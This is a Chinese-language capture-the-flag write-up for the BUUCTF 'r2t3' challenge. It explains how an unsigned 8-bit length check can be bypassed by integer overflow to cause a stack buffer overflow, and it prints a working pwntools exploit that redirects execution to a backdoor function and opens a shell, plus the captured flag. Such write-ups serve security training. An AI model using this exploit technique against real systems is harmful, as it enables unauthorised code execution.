BUUCTF-r2t3 writeup
checksec一下

开启了NX防护
拖进IDA看看

主函数这里输入了一个buf,但是这里并不能溢出
查看name_check函数

这里发现将s连接在了dest后面,dest距离ebp有11h,可以通过s连接在dest后面对ebp进行覆盖
这里对s的长度进行了限制,必须要大于3小于等于8,观察v3的类型为usigned _int8,可以考虑整数溢出
usigned _int8最大可以表示为 11111111 即 255 超过了以后就会变成 0,所以我们要使s的长度在255+4到255+8之间

观察该函数的栈结构发现实际储存返回地址的位置应为ebp+4
在函数列表发现后门函数_dl_registery

所以可以构造Payload:
from pwn import * p = remote('node3.buuoj.cn',27473) #p = process('./r2t3') r2t3 = ELF('./r2t3') Payload = b'a' * 0x15 + p32(r2t3.sym['_dl_registery']) + b'a'*(260 - 4 - 0x15) #注意减去地址长度 p.sendline(Payload) p.interactive()
运行得到sh,在根目录下发现flag

flag{9fb22ab1-4230-4a40-9cfe-2abddbf279f7}

浙公网安备 33010602011771号